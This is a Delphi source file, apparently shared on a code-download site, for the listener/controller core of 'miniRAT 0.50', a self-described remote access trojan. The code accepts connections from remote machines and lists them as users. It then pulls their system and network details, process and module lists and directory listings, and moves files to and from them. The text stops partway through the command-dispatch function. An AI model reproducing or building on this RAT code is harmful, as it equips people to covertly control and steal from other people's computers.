untServerCore.pas
Upload User: sinothink
Upload Date: 2022-07-15
Package Size: 459k
Code Size: 35k
Category:

Remote Control

Development Platform:

Delphi

  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
  3. unit untServerCore;
  4. // This is the core for the miniRAT listen section.
  5. // Here we receive all data/connection from remote hosts.
  6. interface
  7. uses
  8.   Windows,  Sysutils,  Winsock,  ComCtrls,  untCMDList,SysUtils2;
  9. const
  10.   dVersion = 'miniRAT 0.50 [BETA]';
  11.   ERROR_DISCONNECT      = 01;    // If server (remote connection disconnects)
  12.   ERROR_FAIL            = 02;    // If server or client fails. Socket failures.
  13.   ERROR_CONNECT         = 03;    // If client cant connect to server or reverse.
  14.   ERROR_LISTEN          = 04;    // If server cant listen on choosen port.
  15.   ERROR_ACCEPT          = 05;    // If server cant accept socket.
  16.   ERROR_BREAK           = 06;    // If breaking from something.
  17.   ERROR_LOSTCONNECTION  = 07;    // If server dies of some reason.
  18.   ERROR_BIND            = 08;
  19.   SUCCESS_CONNECT       = 09;    // Connection established without problems.
  20.   SUCCESS_FINISHED      = 10;    // Finished sending file without problems.
  21.   SUCCESS_ACCEPT        = 11;    // Accepted remote connection fine.
  22. type
  23.   RemoteSock = Record
  24.     Sock: TSocket;
  25.     Count: Integer;
  26.   End;
  27.   rSock = ^RemoteSock;
  28.   TTransferInfo = Record
  29.     Port        :Integer;
  30.     Size        :Integer;
  31.     Filename    :String;
  32.     RemoteIP    :String;
  33.     RemotePort  :String;
  34.     Upload      :Boolean;
  35.   End;
  36.   PTransferInfo = ^TTransferInfo;
  37.   TServer = Class(TObject)
  38.   Private
  39.     WSA         :TWSAData;
  40.     TempSock    :TSocket;
  41.     Sock        :TSocket;
  42.     Addr        :TSockAddrIn;
  43.     Remote      :TSockAddr;
  44.     Len         :Integer;
  45.     BlockList   :Array[0..99] Of String;
  46.   Public
  47.     SocketList  :Array[0..99] Of TSocket;
  48.     Port        :Integer;
  49.     Count       :Integer;
  50.     ReturnError :Integer;
  51.     Function Listen: Integer;
  52.     Function AcceptNew(SSock: TSocket): Integer;
  53.     Function GetFreeHandle(VAR Int: Integer): Integer;
  54.     Function ReCount: Integer;
  55.     Function Disconnect(dAddress, dPort: String): Boolean;
  56.     Procedure ResolveStatus(Int: Integer);
  57.     procedure Connect(Host,password:string;Port :integer);  //主动连接
  58.   End;
  59. var
  60.   TransferInfo: TTransferInfo;
  61.   rSocket: RemoteSock;
  62.   Close:Boolean;
  63.   Password: String;
  64.   HandleList: Array[0..99] Of THandle;
  65.   TransferList: Array[0..99] Of THandle;
  66.   Function GetTransfer: Integer;
  67.   Function RemotePort(Sock: TSocket): String;
  68.   Function RemoteAddress(Sock: TSocket): String;
  69.   Function RemoteAddr(Sock: TSocket): TSockAddrIn;
  70.   Function RemoveUser(dAddress, dPort: String): Boolean;
  71.   Function UpdateUser(dAddress, dPort, dVersion, dConnection, dSpeed, dName: String): Boolean;
  72.   Function AddUser(dAddress, dPort, dVersion, dConnection, dSpeed, dSock: String): Boolean;
  73.   Function SendData(Sock: TSocket; Text: String; VAR sByte: Cardinal): Integer;
  74.   Function GetPath: String;
  75.   Function GetKBS(dByte: Integer): String;
  76.   Function AddTransfer(dAddress, dPort, dSpeed, dFilename, dUpload, Status, dSize: String): Boolean;
  77.   Function UpdateTransfer(dAddress, dPort, dSpeed, Status, dTimeLeft, dSize: String): Boolean;
  78.   Function RemoveTransfer(dAddress, dPort: String): Boolean;
  79. implementation
  80. Uses
  81.   untClient, untTransferView;
  82. Function CalculatePercent(dProgress, dTotal: Integer): String;
  83. Var
  84.   R     :Real;
  85.   S     :Real;
  86.   C     :Integer;
  87.   Function RToInt(E: Real): Integer;
  88.   Var
  89.     S: String;
  90.   Begin
  91.     S := Format('%N', [E]);
  92.     If (Pos('.', S) > 0) Then
  93.       S := Copy(S, 1, Pos('.', S) - 1);
  94.     While Pos(',', S) > 0 Do
  95.       Delete(S, Pos(',', S), 1);
  96.     While Pos(' ', S) > 0 Do
  97.       Delete(S, Pos(' ', S), 1);
  98.     While Pos(#160, S) > 0 Do
  99.       Delete(S, Pos(#160, S), 1);
  100.     Result := StrToInt(S);
  101.   End;
  102. Begin
  103.   If (dTotal = 0) Then Exit;
  104.   C := 0;
  105.   R := dTotal / 100;
  106.   S := 0;
  107.   While RToInt(S) < dProgress Do
  108.   Begin
  109.     S := S + R;
  110.     Inc(C);
  111.   End;
  112.   Result := IntToStr(C) + '%';
  113. End;
  114. Function GetKBS(dByte: Integer): String;
  115. Var
  116.   dB    :Integer;
  117.   dKB   :Integer;
  118.   dMB   :Integer;
  119.   dGB   :Integer;
  120.   dT    :Integer;
  121. Begin
  122.   dB := dByte;
  123.   dKB := 0;
  124.   dMB := 0;
  125.   dGB := 0;
  126.   dT  := 1;
  127.   While (dB > 1024) Do
  128.   Begin
  129.     Inc(dKB, 1);
  130.     Dec(dB , 1024);
  131.     dT := 1;
  132.   End;
  133.   While (dKB > 1024) Do
  134.   Begin
  135.     Inc(dMB, 1);
  136.     Dec(dKB, 1024);
  137.     dT := 2;
  138.   End;
  139.   While (dMB > 1024) Do
  140.   Begin
  141.     Inc(dGB, 1);
  142.     Dec(dMB, 1024);
  143.     dT := 3;
  144.   End;
  145.   Case dT Of
  146.     1: Result := IntToStr(dKB) + '.' + Copy(IntToStr(dB ),1,2) + ' kb';
  147.     2: Result := IntToStr(dMB) + '.' + Copy(IntToStr(dKB),1,2) + ' mb';
  148.     3: Result := IntToStr(dGB) + '.' + Copy(IntToStr(dMB),1,2) + ' gb';
  149.   End;
  150. End;
  151. Function GetTimeLeft(Speed, Total: Integer): String;
  152. Var
  153.   dDay  :Integer;
  154.   dHour :Integer;
  155.   dMin  :Integer;
  156.   dSec  :Integer;
  157.   dTmp  :Integer;
  158.   dTmp2 :Integer;
  159. Begin
  160.   If Speed = 0 Then Exit;
  161.   If Total = 0 Then Exit;
  162.   dDay := 0; dHour := 0; dMin := 0;
  163.   dTmp2 := 0; dTmp := 0;
  164.   While dTmp2 <= Total Do
  165.   Begin
  166.     Inc(dTmp2, Speed);
  167.     Inc(dTmp, 1);
  168.   End;
  169.   dSec := dTmp;
  170.   If dSec > 60 Then
  171.     repeat
  172.       dec(dSec, 60);
  173.       inc(dMin, 1);
  174.     until dSec < 60;
  175.   If dMin > 60 Then
  176.     repeat
  177.       dec(dMin, 60);
  178.       inc(dHour, 1);
  179.     until dMin < 60;
  180.   If dHour > 24 Then
  181.     repeat
  182.       dec(dHour, 24);
  183.       inc(dDay, 1);
  184.     until dHour < 24;
  185.   Result := IntToStr(dDay)  + 'd '+
  186.             IntToStr(dHour) + 'h '+
  187.             IntToStr(dMin)  + 'm '+
  188.             IntToStr(dSec)  + 's';
  189. End;
  190. Function GetPath: String;
  191. Begin
  192.   Result := ExtractFilePath(ParamStr(0)) + 'Downloads';
  193.   If (Not DirectoryExists(Result)) Then
  194.     CreateDirectory(pChar(Result), NIL);
  195. End;
  196. Function Upload(P: Pointer): DWord; STDCALL;
  197. Var
  198.   FileSize      :Integer;
  199.   FilePort      :String;
  200.   FileName      :String;
  201.   RemoteIP      :String;
  202.   RemotePort    :String;
  203.   Upload        :Boolean;
  204.   Sock          :TSocket;
  205.   Rem           :TSockAddr;
  206.   Addr          :TSockAddrIn;
  207.   WSA           :TWSAData;
  208.   Len           :Integer;
  209.   F             :THandle;
  210.   BytesRead     :Cardinal;
  211.   BytesSize     :Cardinal;
  212.   rFile         :Array[0..8192] Of Char;
  213.   Start         :Integer;
  214.   Total         :Integer;
  215.   Speed         :Integer;
  216.   dErr          :Integer;
  217. Label
  218.   Startup,
  219.   Connection,
  220.   Connected,
  221.   Disconnected,
  222.   Finished;
  223. Begin
  224.   FilePort      := IntToStr(PTransferInfo(P)^.Port);
  225.   FileSize      := PTransferInfo(P)^.Size;
  226.   FileName      := PTransferInfo(P)^.Filename;
  227.   RemoteIP      := PTransferInfo(P)^.RemoteIP;
  228.   RemotePort    := PTransferInfo(P)^.RemotePort;
  229.   Upload        := PTransferInfo(P)^.Upload;
  230.   // Startup stage --
  231. StartUP:
  232.   AddTransfer(RemoteIP, FilePort, '0.00 kbs', FileName, IntToStr(Integer(Upload)), 'Connecting', IntToStr(FileSize));
  233.   WSAStartUp($0101, WSA);
  234.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  235.   Addr.sin_family := AF_INET;
  236.   Addr.sin_port := hTons(StrToInt(FilePort));
  237.   Addr.sin_addr.S_addr := INADDR_ANY;
  238.   // Connection stage --
  239. Connection:
  240.   If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then Goto Disconnected;
  241.   If (Listen(Sock, SOMAXCONN) <> 0) Then Goto Disconnected;
  242.   Len := SizeOf(Rem);
  243.   Sock := Accept(Sock, @Rem, @Len);
  244.   If (Sock = INVALID_SOCKET) Then Goto Disconnected;
  245.   // Connected stage --
  246. Connected:
  247.   UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Connected', '00:00:00', '');
  248.   F := CreateFile(pChar(FileName), GENERIC_READ, FILE_SHARE_READ, NIL, OPEN_EXISTING, 0, 0);
  249.   BytesSize := 0;
  250.   SetFilePointer(F, 0, NIL, FILE_BEGIN);
  251.   If (BytesSize < FileSize) Then
  252.   Begin
  253.     Start := GetTickCount;
  254.     Total := 1;
  255.     Repeat
  256.       FillChar(rFile, SizeOf(rFile), 0);
  257.       ReadFile(F, rFile, SizeOf(rFile), BytesRead, NIL);
  258.       dErr := Send(Sock, rFile, BytesRead, 0);
  259.       If dErr = -1 Then Break;
  260.       Inc(Total, dErr);
  261.       Speed := Total DIV (((GetTickCount() - Start) DIV 1000) + 1);
  262.       UpdateTransfer(RemoteIP, FilePort, GetKBS(Speed)+'/s (' + CalculatePercent(Total, FileSize) + ')', 'Uploading', GetTimeLeft(Speed, FileSize-Total), GetKbs(Total)+' of '+GetKbs(FileSize));
  263.       Recv(Sock, rFile, SizeOf(rFile), 0);
  264.     Until (Total >= FileSize);
  265.     Goto Finished;
  266.   End Else
  267.     Goto Finished;
  268.   // Disconnected stage --
  269. Disconnected:
  270.   UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Failed, Disconnected', '00:00:00', '');
  271.   Sleep(1000);
  272.   Goto Finished;
  273.   // Finished stage --
  274. Finished:
  275.   CloseHandle(F);
  276.   WSACleanUP;
  277.   UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Finished', '00:00:00', '');
  278.   Sleep(1000);
  279.   RemoveTransfer(RemoteIP, FilePort);
  280. End;
  281. Function Transfer(P: Pointer): DWord; STDCALL;
  282. Var
  283.   FileSize      :Integer;
  284.   FilePort      :String;
  285.   FileName      :String;
  286.   RemoteIP      :String;
  287.   RemotePort    :String;
  288.   Upload        :Boolean;
  289.   Sock          :TSocket;
  290.   Rem           :TSockAddr;
  291.   Addr          :TSockAddrIn;
  292.   WSA           :TWSAData;
  293.   Len           :Integer;
  294.   F             :THandle;
  295.   BytesWritten  :Cardinal;
  296.   BytesSize     :Cardinal;
  297.   rFile         :Array[0..8192] Of Char;
  298.   Start         :Integer;
  299.   Total         :Integer;
  300.   Speed         :Integer;
  301.   dErr          :Integer;
  302.   T             :String;
  303. Label
  304.   Startup,
  305.   Connection,
  306.   Connected,
  307.   Disconnected,
  308.   Finished;
  309. Begin
  310.   FilePort      := IntToStr(PTransferInfo(P)^.Port);
  311.   FileSize      := PTransferInfo(P)^.Size;
  312.   FileName      := PTransferInfo(P)^.Filename;
  313.   RemoteIP      := PTransferInfo(P)^.RemoteIP;
  314.   RemotePort    := PTransferInfo(P)^.RemotePort;
  315.   Upload        := PTransferInfo(P)^.Upload;
  316.   // Startup stage --
  317. StartUP:
  318.   AddTransfer(RemoteIP, FilePort, '0.00 kbs', FileName, IntToStr(Integer(Upload)), 'Connecting', IntToStr(FileSize));
  319.   WSAStartUp($0101, WSA);
  320.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  321.   Addr.sin_family := AF_INET;
  322.   Addr.sin_port := hTons(StrToInt(FilePort));
  323.   Addr.sin_addr.S_addr := INADDR_ANY;
  324.   // Connection stage --
  325. Connection:
  326.   If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then Goto Disconnected;
  327.   If (Listen(Sock, SOMAXCONN) <> 0) Then Goto Disconnected;
  328.   Len := SizeOf(Rem);
  329.   Sock := Accept(Sock, @Rem, @Len);
  330.   If (Sock = INVALID_SOCKET) Then Goto Disconnected;
  331.   // Connected stage --
  332. Connected:
  333.   UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Connected', '00:00:00', '');
  334.   F := CreateFile(pChar(GetPath+FileName), GENERIC_WRITE, FILE_SHARE_WRITE, NIL, CREATE_NEW, 0, 0);
  335.   BytesSize := 0;
  336.   SetFilePointer(F, 0, NIL, FILE_END);
  337.   T := 'ok';
  338.   If (BytesSize < FileSize) Then
  339.   Begin
  340.     Start := GetTickCount;
  341.     Total := 1;
  342.     Repeat
  343.       FillChar(rFile, SizeOf(rFile), 0);
  344.       dErr := Recv(Sock, rFile, SizeOf(rFile), 0);
  345.       If dErr = -1 Then Break;
  346.       Inc(Total, dErr);
  347.       SetFilePointer(F, 0, NIL, FILE_END);
  348.       WriteFile(F, rFile, dErr, BytesWritten, NIL);
  349.       Speed := Total DIV (((GetTickCount() - Start) DIV 1000) + 1);
  350.       UpdateTransfer(RemoteIP, FilePort, GetKBS(Speed)+'/s (' + CalculatePercent(Total, FileSize) + ')', 'Downloading', GetTimeLeft(Speed, FileSize-Total), GetKbs(Total)+' of '+GetKbs(FileSize));
  351.       Send(Sock, t[1], length(t), 0);
  352.     Until (Total >= FileSize);
  353.     Goto Finished;
  354.   End Else
  355.     Goto Finished;
  356.   // Disconnected stage --
  357. Disconnected:
  358.   UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Failed, Disconnected', '00:00:00', '');
  359.   Sleep(1000);
  360.   Goto Finished;
  361.   // Finished stage --
  362. Finished:
  363.   CloseHandle(F);
  364.   WSACleanUP;
  365.   UpdateTransfer(RemoteIP, FilePort, '0.00 kbs', 'Finished', '00:00:00', '');
  366.   Sleep(1000);
  367.   RemoveTransfer(RemoteIP, FilePort);
  368. End;
  369. // Add Transfer
  370. Function AddTransfer(dAddress, dPort, dSpeed, dFilename, dUpload, Status, dSize: String): Boolean;
  371. Var
  372.   L: TListItem;
  373.   I: Word;
  374. Begin
  375.   Result := False;
  376.   If (Form2.ListView1.Items.Count > 0) Then
  377.     For I := 0 To Form2.ListView1.Items.Count -1 Do
  378.       If (Form2.ListView1.Items[I].Caption = dAddress) And
  379.          (Form2.ListView1.Items[I].SubItems[0] = dPort) Then
  380.          Exit;
  381.   Result := True;
  382.   L := Form2.ListView1.Items.Add;
  383.   L.Caption := dAddress;
  384.   L.SubItems.Add(dPort);
  385.   L.SubItems.Add(dSpeed);
  386.   L.SubItems.Add(dFilename);
  387.   If (dUpload = '0') Then L.SubItems.Add('Download')
  388.                      Else L.SubItems.Add('Upload');
  389.   L.SubItems.Add(GetKBS(StrToInt(dSize)));
  390.   L.SubItems.Add('00:00:00');
  391.   L.SubItems.Add(Status);
  392. End;
  393. // Update Transfer
  394. Function UpdateTransfer(dAddress, dPort, dSpeed, Status, dTimeLeft, dSize: String): Boolean;
  395. Var
  396.   I: Word;
  397. Begin
  398.   Result := False;
  399.   If (Form2.ListView1.Items.Count > 0) Then
  400.     For I := 0 To Form2.ListView1.Items.Count-1 Do
  401.         If (Form2.ListView1.Items[I].Caption = dAddress) And
  402.          (Form2.ListView1.Items[I].SubItems[0] = dPort) Then
  403.          Begin
  404.            Result := True;
  405.            If (dSpeed <> '') Then Form2.ListView1.Items[I].SubItems[1] := (dSpeed);
  406.            If (Status <> '') Then Form2.ListView1.Items[I].SubItems[6] := (Status);
  407.            If (dTimeLeft <> '')  Then Form2.ListView1.Items[I].SubItems[5] := (dTimeLeft);
  408.            If (dSize <> '')  Then Form2.ListView1.Items[I].SubItems[4] := (dSize);
  409.          End;
  410. End;
  411. // Remove Transfer
  412. Function RemoveTransfer(dAddress, dPort: String): Boolean;
  413. Var
  414.   I: Word;
  415. Begin
  416.   Result := False;
  417.   If (Form2.ListView1.Items.Count > 0) Then
  418.     For I := 0 To Form2.ListView1.Items.Count-1 Do
  419.       If (Form2.ListView1.Items[I].Caption = dAddress) And
  420.          (Form2.ListView1.Items[I].SubItems[0] = dPort) Then
  421.          Begin
  422.            Form2.ListView1.Items[I].Delete;
  423.            Break;
  424.          End;
  425. End;
  426. // Add User
  427. Function AddUser(dAddress, dPort, dVersion, dConnection, dSpeed, dSock: String): Boolean;
  428. Var
  429.   L: TListItem;
  430.   I: Word;
  431. Begin
  432.   Result := False;
  433.   If (Form1.ListView1.Items.Count > 0) Then
  434.     For I := 0 To Form1.ListView1.Items.Count-1 Do
  435.       If (Form1.ListView1.Items[I].Caption = dAddress) And
  436.          (Form1.ListView1.Items[I].SubItems[0] = dPort) Then
  437.          Exit;
  438.   Result := True;
  439.   L := Form1.ListView1.Items.Add;
  440.   L.Caption := dAddress;
  441.   L.SubItems.Add(dPort);
  442.   L.SubItems.Add(dVersion);
  443.   L.SubItems.Add(dConnection);
  444.   L.SubItems.Add(dSpeed);
  445.   L.SubItems.Add(dSock);
  446.   L.SubItems.Add('Unnamed');
  447. End;
  448. // Update User
  449. Function UpdateUser(dAddress, dPort, dVersion, dConnection, dSpeed, dName: String): Boolean;
  450. Var
  451.   I: Word;
  452. Begin
  453.   Result := False;
  454.   If (Form1.ListView1.Items.Count > 0) Then
  455.     For I := 0 To Form1.ListView1.Items.Count-1 Do
  456.       If (Form1.ListView1.Items[I].Caption = dAddress) And
  457.          (Form1.ListView1.Items[I].SubItems[0] = dPort) Then
  458.          Begin
  459.            Result := True;
  460.            If (dAddress <> '') Then Form1.ListView1.Items[I].Caption := dAddress;
  461.            If (dPort <> '') Then Form1.ListView1.Items[I].SubItems[0] := (dPort);
  462.            If (dVersion <> '') Then Form1.ListView1.Items[I].SubItems[1] := (dVersion);
  463.            If (dConnection <> '') Then Form1.ListView1.Items[I].SubItems[2] := (dConnection);
  464.            If (dSpeed <> '') Then Form1.ListView1.Items[I].SubItems[3] := (dSpeed);
  465.            If (dName <> '') Then Form1.ListView1.Items[I].SubItems[5] := (dName);
  466.          End;
  467. End;
  468. // Remove User
  469. Function RemoveUser(dAddress, dPort: String): Boolean;
  470. Var
  471.   I: Word;
  472. Begin
  473.   If (Form1.ListView1.Items.Count > 0) Then
  474.     For I := 0 To Form1.ListView1.Items.Count-1 Do
  475.       If (Form1.ListView1.Items[I].Caption = dAddress) And
  476.          (Form1.ListView1.Items[I].SubItems[0] = dPort) Then
  477.          Begin
  478.            Form1.ListView1.Items[I].Delete;
  479.            Form1.StatusBar1.Panels[1].Text := 'Error: Server disconnected. ('+dAddress+')';
  480.            Break;
  481.          End;
  482. End;
  483. // Disconnect choosen user
  484. Function TServer.Disconnect(dAddress, dPort: String): Boolean;
  485. Var
  486.   I: Word;
  487.   J: Word;
  488.   rHost: String;
  489.   rPort: String;
  490. Begin
  491.   For I := 0 To 99 Do
  492.   Begin
  493.     rHost := RemoteAddress(SocketList[I]);
  494.     rPort := RemotePort(SocketList[I]);
  495.     If (rHost = dAddress) and (rPort = dPort) Then
  496.     Begin
  497.       CloseSocket(SocketList[I]);
  498.       SocketList[I] := INVALID_SOCKET;
  499.       Break;
  500.     End;
  501.   End;
  502. End;
  503. // Report back to user at client GUI interface.
  504. Procedure TServer.ResolveStatus(Int: Integer);
  505. Begin
  506.   Case ReturnError Of
  507.     ERROR_DISCONNECT:           Form1.StatusBar1.Panels[1].Text := 'Error: Server disconnected.';
  508.     ERROR_FAIL:                 Form1.StatusBar1.Panels[1].Text := 'Error: Failed.';
  509.     ERROR_CONNECT:              Form1.StatusBar1.Panels[1].Text := 'Error: Connection failed.';
  510.     ERROR_LISTEN:               Form1.StatusBar1.Panels[1].Text := 'Error: Listen failed.';
  511.     ERROR_ACCEPT:               Form1.StatusBar1.Panels[1].Text := 'Error: Accept of new server failed.';
  512.     ERROR_BREAK:                Form1.StatusBar1.Panels[1].Text := 'Error: "Break" used, procedure failed.';
  513.     ERROR_LOSTCONNECTION:       Form1.StatusBar1.Panels[1].Text := 'Error: Lost connection.';
  514.     ERROR_BIND:                 Form1.StatusBar1.Panels[1].Text := 'Error: Bind failed.';
  515.     SUCCESS_CONNECT:            Form1.StatusBar1.Panels[1].Text := 'Connected successfully.';
  516.     SUCCESS_FINISHED:           Form1.StatusBar1.Panels[1].Text := 'Finished successfully.';
  517.     SUCCESS_ACCEPT:             Form1.StatusBar1.Panels[1].Text := 'Accepted new connection.';
  518.   End;
  519. End;
  520. // Remote Sock
  521. Function RemoteAddr(Sock: TSocket): TSockAddrIn;
  522. Var
  523.   W     :TWSAData;
  524.   S     :TSockAddrIn;
  525.   I     :Integer;
  526. Begin
  527.   WSAStartUP($0101, W);
  528.   I := SizeOf(S);
  529.   GetPeerName(Sock, S, I);
  530.   WSACleanUP();
  531.   Result := S;
  532. End;
  533. // Remote Socket Address
  534. Function RemoteAddress(Sock: TSocket): String;
  535. Begin
  536.   Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
  537. End;
  538. // Remote Socket Port
  539. Function RemotePort(Sock: TSocket): String;
  540. Begin
  541.   Result := IntToStr(nTohs(RemoteAddr(Sock).sin_port));
  542. End;
  543. // Recounting Connections
  544. Function TServer.ReCount: Integer;
  545. Var
  546.   I: Word;
  547. Begin
  548.   Result := 0;
  549.   For I := 0 To 99 Do
  550.     If (SocketList[I] > 0) Then
  551.       Inc(Result);
  552. End;
  553. // Kill Threads
  554. Function KillThread(Handle: THandle): Integer;
  555. Var
  556.   eCode: Cardinal;
  557. Begin
  558.   GetExitCodeThread(Handle, eCode);
  559.   If (TerminateThread(Handle, eCode)) Then
  560.     Result := 1
  561.   Else
  562.     Result := 0;
  563. End;
  564. // Send Data
  565. Function SendData(Sock: TSocket; Text: String; VAR sByte: Cardinal): Integer;
  566. Var
  567.   Len: Integer;
  568. Begin
  569.   Result := Length(Text);
  570.   Len := Send(Sock, Text[1], Length(Text), 0);
  571.   Inc(sByte, Len);
  572. End;
  573. Procedure StripOutCmd(Text: String; VAR Cmd: String);
  574. Begin Cmd := Copy(Text, 1, Pos(' ', Text)-1); End;
  575. Procedure StripOutParam(Text: String; VAR Param: Array of String);
  576. Var
  577.   I: Word;
  578. Begin
  579.   FillChar(Param, SizeOf(Param), 0);
  580.   Delete(Text, 1, Pos(' ', Text));
  581.   If (Text = '') Then EXIT;
  582.   If (Text[Length(Text)] <> ' ') Then Text := Text + ' ';
  583.   I := 0;
  584.   While (Pos(' ', Text) > 0) Do
  585.   Begin
  586.     Param[I] := Copy(Text, 1, Pos(' ', Text)-1);
  587.     Inc(I);
  588.     Delete(Text, 1, Pos(' ', Text));
  589.     If (I >= 100) Then Break;
  590.   End;
  591. End;
  592. Function GetTransfer: Integer;
  593. Var
  594.   I: Word;
  595. Begin
  596.   Result := -1;
  597.   For I := 0 To 99 Do
  598.     If (TransferList[I] = 0) Then
  599.     Begin
  600.       Result := I;
  601.       Break;
  602.     End;
  603. End;
  604. Function IsNum(S: String): Bool;
  605. Var
  606.   I: Word;
  607. Begin
  608.   If S = '' Then
  609.   Begin
  610.     Result := False;
  611.     Exit;
  612.   End;
  613.   
  614.   Result := True;
  615.   For I := 1 To Length(S) Do
  616.     If (Pos(S[I], ' 0123456789') = 0) Then
  617.     Begin
  618.       Result := False;
  619.       Break;
  620.     End;
  621. End;
  622. Procedure ReplaceStr(ReplaceWord, WithWord:String; Var Text: String);
  623. Var
  624.   xPos: Integer;
  625. Begin
  626.   While Pos(ReplaceWord, Text)>0 Do
  627.   Begin
  628.     xPos := Pos(ReplaceWord, Text);
  629.     Delete(Text, xPos, Length(ReplaceWord));
  630.     Insert(WithWord, Text, xPos);
  631.   End;
  632. End;
  633. // Recieving data from remote sock.
  634. Function ListenHost(P: Pointer): DWord; STDCALL;
  635. Var
  636.   Address, Port :String;
  637.   Sock: TSocket;
  638.   Count: Integer;
  639.   Buffer: Array[0..1600] Of Char;
  640.   Data: String;
  641.   Time: TTimeVal;
  642.   FDS: TFDSet;
  643.   Len: Integer;
  644.   dPID: String;
  645.   dName: String;
  646.   dModule: String;
  647.   Temp: String;
  648.   FName:String;
  649.   Cmd: String;
  650.   Param: Array[0..100]of String;
  651.   D: DWord;
  652.   I: Word;
  653.   J: Word;
  654.   rByte: Cardinal;
  655.   sByte: Cardinal;
  656.   Item: TListItem;
  657. Begin
  658.   Sock := rSock(P)^.Sock;
  659.   Count := rSock(P)^.Count;
  660.   Address := RemoteAddress(Sock);
  661.   Port := RemotePort(Sock);
  662.   rByte := 0;
  663.   sByte := 0;
  664.   AddUser(Address, Port, '', '', '', IntToStr(Sock));
  665.   Repeat
  666.     Time.tv_sec := 120;
  667.     Time.tv_usec := 0;
  668.     FD_ZERO(FDS);
  669.     FD_SET(Sock, FDS);
  670.     If Select(0, @FDS, NIL, NIL, @TIME) <= 0 Then Break;
  671.     Len := Recv(Sock, Buffer, 1600, 0);
  672.     If (Len <= 0) Then Break;
  673.     Inc(rByte, Len);
  674.     Data := String(Buffer);
  675.     ZeroMemory(@Buffer, SizeOf(Buffer));
  676.     While (Pos(#10, Data) > 0) Do
  677.     Begin
  678.       Temp := Copy(Data, 1, Pos(#10, Data)-1);
  679.       Delete(Data, 1, Pos(#10, Data));
  680.       StripOutCmd(Temp, Cmd);
  681.       StripOutParam(Temp, Param);
  682.       If IsNum(Cmd) Then
  683.       Case StrToInt(Cmd) Of
  684.         C_FINISH:Begin
  685.                    For I := 0 To 100 Do
  686.                      If (dlgProcessList[I] <> NIL) And
  687.                        (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  688.                          dlgProcessList[I].PopupMenu1.Items[1].Enabled := True; 
  689.                  End;
  690.         C_DOWNLOAD: Form1.StatusBar1.Panels[1].Text := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  691.         C_PASS:
  692.           if (Param[0] = '0') then CloseSocket(Sock);
  693.         C_VERSION: begin
  694.                       UpdateUser(Address, Port, Param[0], '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
  695.                       SendData(sock,'01 ' + password + #10,sByte);
  696.                    end;
  697.         C_ASSIGNEDNAME: UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), Copy(Temp, 4, Length(Temp)));
  698.         C_CONNECTION: UpdateUser(Address, Port, '', Copy(Temp, 4, Length(Temp)), GetKBS(rByte)+'/'+GetKBS(sByte), '');
  699.         C_PING: SendData(Sock, IntToStr(C_PING)+#10, sByte);
  700.         C_STARTTRANSFER: Begin
  701.                            TransferInfo.Upload := Boolean(StrToInt(Param[0]));
  702.                            TransferInfo.Size := StrToInt(Param[1]);
  703.                            TransferInfo.Port := StrToInt(Param[2]);
  704.                            TransferInfo.Filename := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
  705.                            TransferInfo.RemoteIP := RemoteAddress(Sock);
  706.                            TransferInfo.RemotePort := RemotePort(Sock);
  707.                            If (GetTransfer > -1) Then
  708.                              If (Not TransferInfo.Upload) Then
  709.                                TransferList[GetTransfer] := CreateThread(NIL, 0, @Transfer, @TransferInfo, 0, D)
  710.                              Else
  711.                                TransferList[GetTransfer] := CreateThread(NIL, 0, @Upload, @TransferInfo, 0, D);
  712.                          End;
  713.         C_INFOSYSTEM,
  714.         C_INFOSERVER,
  715.         C_INFONETWORK: Begin
  716.                          Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  717.                          For I := 0 To 100 Do
  718.                            If (dlgInformation[I] <> NIL) And
  719.                               (dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  720.                            Begin
  721.                              Item := dlgInformation[I].ListView1.Items.Add;
  722.                              Item.Caption := Param[0];
  723.                              Item.SubItems.Add(Temp);
  724.                              Break;
  725.                            End;
  726.                       End;
  727.         C_PROCESSLIST: Begin
  728.                          Temp := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
  729.                          For I := 0 To 100 Do
  730.                            If (dlgProcessList[I] <> NIL) And
  731.                               (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  732.                                 dlgProcessList[I].pAddParent(Temp, Param[0], Param[1], Param[2]);
  733.                          Temp := 'ok';
  734.                          Send(Sock, Temp[1], Length(Temp), 0);
  735.                          Inc(sByte, Length(Temp));
  736.                        End;
  737.         C_MODULELIST : Begin
  738.                          dPID := Param[0];
  739.                          dName := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
  740.                          dName := Copy(dName, 1, Pos(#1, dName)-1);
  741.                          dModule := Copy(Temp, Pos(#1, Temp)+1, Length(Temp));
  742.                          If (dModule <> '') And (dModule <> ' ') Then
  743.                          For I := 0 To 100 Do
  744.                            If (dlgProcessList[I] <> NIL) And
  745.                               (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  746.                                 dlgProcessList[I].pAddChild(dPID, dName, dModule);
  747.                          Temp := 'ok';
  748.                          Send(Sock, Temp[1], Length(Temp), 0);
  749.                          Inc(sByte, Length(Temp));
  750.                        End;
  751.         C_REQUESTLIST: Begin
  752.                          // Attr Size Name
  753.                          Temp := Copy(Temp, Pos(Param[2], Temp), Length(Temp));
  754.                          For I := 0 To 100 Do
  755.                            If (dlgFileManager[I] <> NIL) And
  756.                               (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  757.                            Begin
  758.                              If (Temp <> '.') Then
  759.                              Begin
